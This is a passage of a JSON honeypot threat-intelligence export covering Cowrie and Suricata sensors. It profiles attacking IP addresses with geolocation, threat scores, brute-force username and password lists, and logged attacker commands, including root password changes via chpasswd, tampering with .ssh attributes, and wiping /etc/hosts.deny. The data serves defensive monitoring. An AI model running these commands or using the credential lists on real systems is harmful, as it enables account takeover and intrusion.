        "345gs5662d34",
        "123456",
        "password",
        "!@#qwe123",
        "11q2w3e4r.",
        "123",
        "12345",
        "123456789",
        "123456wW",
        "123654",
        "123@123Abc",
        "123@root",
        "123qaz",
        "123qaz!@#WSX",
        "1qazXDR%",
        "2glehe5t24th1issZs",
        "AAbb@1234",
        "Abcd123..",
        "Admin!@#456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nnPpJ0q0ghdkJ\\nnPpJ0q0ghdkJ\\n\"|passwd",
        "echo \"ftpuser2\\nOca0vbpBbY6Q\\nOca0vbpBbY6Q\\n\"|passwd",
        "echo \"jeus\\nrpcjLg9Hyo2I\\nrpcjLg9Hyo2I\\n\"|passwd",
        "echo \"root:LwfK2osTADPt\"|chpasswd|bash",
        "echo \"root:gz8uRGdtjGnH\"|chpasswd|bash",
        "echo -e \"123456\\nnPpJ0q0ghdkJ\\nnPpJ0q0ghdkJ\"|passwd|bash",
        "echo -e \"ftpuser2\\nOca0vbpBbY6Q\\nOca0vbpBbY6Q\"|passwd|bash",
        "echo -e \"jeus\\nrpcjLg9Hyo2I\\nrpcjLg9Hyo2I\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 7489,
      "as_org": "HostUS",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 741,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:01:47.221000+00:00",
        "last_seen_30d": "2026-04-25T23:27:31.291000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 603,
        "Suricata": 138
      }
    },
    "89.218.69.66": {
      "attack_count": 592,
      "first_seen": "2026-04-17T08:07:32.810Z",
      "last_seen": "2026-04-18T17:30:35.646Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "teamspeak",
        "user",
        "git",
        "test1",
        "zhangsan",
        "build",
        "cisco",
        "demo",
        "deploy",
        "dev",
        "erpnext",
        "ftp1user",
        "media",
        "nodered",
        "s",
        "steam",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test123",
        "0000000",
        "11111111",
        "123",
        "123123123",
        "12345",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "2026",
        "Cl123456.",
        "Dev15!",
        "J5cmmu=Kyf0-br8CsW",
        "QWer1234",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root11111@123",
        "Root123321@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nPnIaMRxghWDE\\nPnIaMRxghWDE\\n\"|passwd",
        "echo \"Teamspeak!@\\nRcWCmgfj37b3\\nRcWCmgfj37b3\\n\"|passwd",
        "echo \"root:7u1MTZCeRYLi\"|chpasswd|bash",
        "echo \"root:hEqPgQxC3UYz\"|chpasswd|bash",
        "echo \"root:iBsIe9aoCm49\"|chpasswd|bash",
        "echo -e \"123\\nPnIaMRxghWDE\\nPnIaMRxghWDE\"|passwd|bash",
        "echo -e \"Teamspeak!@\\nRcWCmgfj37b3\\nRcWCmgfj37b3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 733,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:07:32.810000+00:00",
        "last_seen_30d": "2026-04-18T17:31:44.004000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 141
      }
    },
    "211.254.212.59": {
      "attack_count": 535,
      "first_seen": "2026-04-07T15:50:02.516Z",
      "last_seen": "2026-04-25T00:02:03.239Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "admin",
        "developer",
        "n8n",
        "odoo",
        "server",
        "steam",
        "user",
        "zabbix",
        "ceshi",
        "cmsuser",
        "deploy",
        "dev",
        "dolphinscheduler",
        "frpuser",
        "hoster",
        "john",
        "ma"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "123.com.",
        "1234",
        "12345678",
        "1234567890",
        "123456a",
        "123Qwe!@#",
        "2glehe5t24th1issZs",
        "51nGleD",
        "Abc.123",
        "Admin12!@#",
        "Admin@123",
        "Cloud-12345",
        "Debian@123",
        "Dev@2025",
        "MoeClub.org",
        "Odoo05!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Test23!\\nqPxkyEVtevdf\\nqPxkyEVtevdf\\n\"|passwd",
        "echo \"developer123\\nFabumqus4iks\\nFabumqus4iks\\n\"|passwd",
        "echo \"root:joTLNmvqVPl4\"|chpasswd|bash",
        "echo \"test\\nJBiYj4dENoZf\\nJBiYj4dENoZf\\n\"|passwd",
        "echo -e \"Test23!\\nqPxkyEVtevdf\\nqPxkyEVtevdf\"|passwd|bash",
        "echo -e \"developer123\\nFabumqus4iks\\nFabumqus4iks\"|passwd|bash",
        "echo -e \"test\\nJBiYj4dENoZf\\nJBiYj4dENoZf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 670,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T15:50:02.516000+00:00",
        "last_seen_30d": "2026-04-25T00:03:10.403000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 535,
        "Suricata": 135
      }
    },
    "107.150.110.167": {
      "attack_count": 533,
      "first_seen": "2026-04-10T01:23:39.522Z",
      "last_seen": "2026-04-24T14:55:07.022Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "server",
        "claude",
        "odoo",
        "sammy",
        "test",
        "ali",
        "arkserver",
        "deploy",
        "ftpuser",
        "github",
        "jitendra",
        "joseph",
        "kiran",
        "nexus",
        "nginx",
        "postgres",
        "production",
        "rstudio"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12",
        "123",
        "12345",
        "12345.QWER",
        "159753",
        "1Qazxsw2",
        "987789",
        "A12345678910",
        "A12345691",
        "ABCabc123",
        "Aa1",
        "Aa112211.",
        "Admin123456789@123",
        "Claude03!",
        "Hj123456",
        "Odoo5",
        "P@ssw0rd1983"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Odoo5\\n6fBm4Eiq46Rs\\n6fBm4Eiq46Rs\\n\"|passwd",
        "echo \"root:8Ks7Ut9HKhDw\"|chpasswd|bash",
        "echo \"root:b2iKWOOrhwXa\"|chpasswd|bash",
        "echo \"root:y1iHK8rvERsd\"|chpasswd|bash",
        "echo -e \"Odoo5\\n6fBm4Eiq46Rs\\n6fBm4Eiq46Rs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:23:39.522000+00:00",
        "last_seen_30d": "2026-04-24T14:56:11.716000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 533,
        "Suricata": 133
      }
    },
    "103.158.40.65": {
      "attack_count": 484,
      "first_seen": "2026-04-21T15:11:41.759Z",
      "last_seen": "2026-04-29T00:04:28.985Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "deploy",
        "gaurav",
        "odoo",
        "test",
        "aj",
        "andrew",
        "claude",
        "es",
        "esuser",
        "ftpuser",
        "george",
        "oracle",
        "pdv",
        "rac",
        "socks",
        "teamspeak",
        "tejas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "123!@#aA",
        "12332112",
        "12345",
        "123456",
        "123456@w",
        "123456Qwerty",
        "123456qW",
        "123@.com",
        "123QWEasd!@#",
        "1qaz",
        "1qaz2wsX",
        "1qaz@wsx2026",
        "@123qwe",
        "Abc123",
        "Aq123456",
        "Arpit@123",
        "Cloud_123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Odoo15!\\nxt9FbWn35ERm\\nxt9FbWn35ERm\\n\"|passwd",
        "echo \"gaurav@123\\nJ52jo7rK4aDt\\nJ52jo7rK4aDt\\n\"|passwd",
        "echo \"root:lz1pVbNwMb8Q\"|chpasswd|bash",
        "echo -e \"Odoo15!\\nxt9FbWn35ERm\\nxt9FbWn35ERm\"|passwd|bash",
        "echo -e \"gaurav@123\\nJ52jo7rK4aDt\\nJ52jo7rK4aDt\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 141319,
      "as_org": "Net Hub",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 624,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:11:41.759000+00:00",
        "last_seen_30d": "2026-04-29T00:05:34.393000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 484,
        "Suricata": 140
      }
    },
    "116.71.136.125": {
      "attack_count": 447,
      "first_seen": "2026-04-19T10:25:36.674Z",
      "last_seen": "2026-04-25T22:11:35.963Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "user",
        "claude",
        "deploy",
        "git",
        "odoo",
        "server",
        "admin",
        "admins",
        "azureuser",
        "ca",
        "frappe",
        "ftpuser",
        "n8n",
        "nexus",
        "postgres",
        "robin",
        "sammy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000000",
        "1",
        "123",
        "1234",
        "12345678",
        "1234567890",
        "123qwe",
        "1qazxsw2",
        "1qazxsw23edc",
        "20259999",
        "Aa112211.",
        "Abcd12!!",
        "Admin!123",
        "Changeme_123",
        "Gr123456@",
        "Lky123456",
        "N8n1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123qwe\\nMCXMuhxyNt64\\nMCXMuhxyNt64\\n\"|passwd",
        "echo \"claude28!\\nnDoiKzh64oMm\\nnDoiKzh64oMm\\n\"|passwd",
        "echo \"server13!\\noRWkFHZ8nQ1m\\noRWkFHZ8nQ1m\\n\"|passwd",
        "echo -e \"123qwe\\nMCXMuhxyNt64\\nMCXMuhxyNt64\"|passwd|bash",
        "echo -e \"claude28!\\nnDoiKzh64oMm\\nnDoiKzh64oMm\"|passwd|bash",
        "echo -e \"server13!\\noRWkFHZ8nQ1m\\noRWkFHZ8nQ1m\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Dera Ismail Khan",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 571,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:25:36.674000+00:00",
        "last_seen_30d": "2026-04-25T22:12:40.153000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 447,
        "Suricata": 124
      }
    },
    "14.37.160.15": {
      "attack_count": 399,
      "first_seen": "2026-04-14T06:14:58.458Z",
      "last_seen": "2026-04-14T06:55:43.009Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "odoo",
        "sopuser",
        "appuser",
        "dev",
        "gitea",
        "kira",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234Qwert",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev30",
        "Frappe17!",
        "Odoo13!",
        "Odoo27",
        "Password12345",
        "QWER1234qwer",
        "Redhat",
        "Root2018!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Changeme_123\\nKvIcSMMPvzJO\\nKvIcSMMPvzJO\\n\"|passwd",
        "echo \"asdzxc\\nNeSDYwSb4Lpp\\nNeSDYwSb4Lpp\\n\"|passwd",
        "echo \"root:GlfXhwKZjCBu\"|chpasswd|bash",
        "echo \"root:Q7ysRS9QRV8l\"|chpasswd|bash",
        "echo -e \"Changeme_123\\nKvIcSMMPvzJO\\nKvIcSMMPvzJO\"|passwd|bash",
        "echo -e \"asdzxc\\nNeSDYwSb4Lpp\\nNeSDYwSb4Lpp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gimpo-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:14:58.458000+00:00",
        "last_seen_30d": "2026-04-14T06:56:45.554000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 74
      }
    },
    "203.121.106.56": {
      "attack_count": 378,
      "first_seen": "2026-04-01T00:46:53.791Z",
      "last_seen": "2026-04-06T18:14:49.677Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 754,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:46:53.791000+00:00",
        "last_seen_30d": "2026-04-06T18:15:55.193000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 378,
        "Suricata": 376
      }
    },
    "103.169.67.229": {
      "attack_count": 331,
      "first_seen": "2026-04-19T15:50:44.074Z",
      "last_seen": "2026-04-19T16:35:16.917Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "server",
        "teamspeak",
        "abdo",
        "ociistst",
        "odoo",
        "postgres",
        "root1",
        "test",
        "user",
        "user1",
        "user10",
        "vlad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123654",
        "1Q2W3e4r",
        "999999",
        "A1234567890",
        "Admin123456",
        "P@ssw0rd",
        "Password123$",
        "QWE",
        "Server17",
        "Sj123456",
        "Teamspeak9",
        "Welcome2025",
        "abdo",
        "ociistst",
        "odoo06!",
        "p@SSW0RD"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server17\\nkMACrqz8r715\\nkMACrqz8r715\\n\"|passwd",
        "echo \"Teamspeak9\\nbhfuUEbVogll\\nbhfuUEbVogll\\n\"|passwd",
        "echo \"root:xktZFhUQQJAA\"|chpasswd|bash",
        "echo -e \"Server17\\nkMACrqz8r715\\nkMACrqz8r715\"|passwd|bash",
        "echo -e \"Teamspeak9\\nbhfuUEbVogll\\nbhfuUEbVogll\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 58955,
      "as_org": "Bangmod Enterprise Co., Ltd.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:50:44.074000+00:00",
        "last_seen_30d": "2026-04-19T16:36:22.421000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 72
      }
    },
    "190.148.112.242": {
      "attack_count": 331,
      "first_seen": "2026-04-17T23:27:59.019Z",
      "last_seen": "2026-04-18T00:05:39.787Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "proxyuser",
        "ali",
        "hdoop",
        "oracle",
        "postgres",
        "steam",
        "sysuser",
        "test",
        "testftp",
        "yang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "test123",
        "!234qwer",
        "12",
        "123123aA",
        "12345.QWERTY",
        "123456ABC",
        "2342w3e4r",
        "66668888",
        "DDxx123123",
        "Master123",
        "Passw0rd@1234",
        "Qazwsx1111!!",
        "Test2025",
        "a123456",
        "admin123@#",
        "asdf",
        "ch@ng3m3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Test2025\\n9LTCXIz5kxcB\\n9LTCXIz5kxcB\\n\"|passwd",
        "echo \"root:vMXP7w6JNmCX\"|chpasswd|bash",
        "echo \"test123\\n20BGens1ZFh2\\n20BGens1ZFh2\\n\"|passwd",
        "echo -e \"Test2025\\n9LTCXIz5kxcB\\n9LTCXIz5kxcB\"|passwd|bash",
        "echo -e \"test123\\n20BGens1ZFh2\\n20BGens1ZFh2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": "Guatemala City",
      "asn": 14754,
      "as_org": "TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T23:27:59.019000+00:00",
        "last_seen_30d": "2026-04-18T00:06:46.939000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "103.91.246.101": {
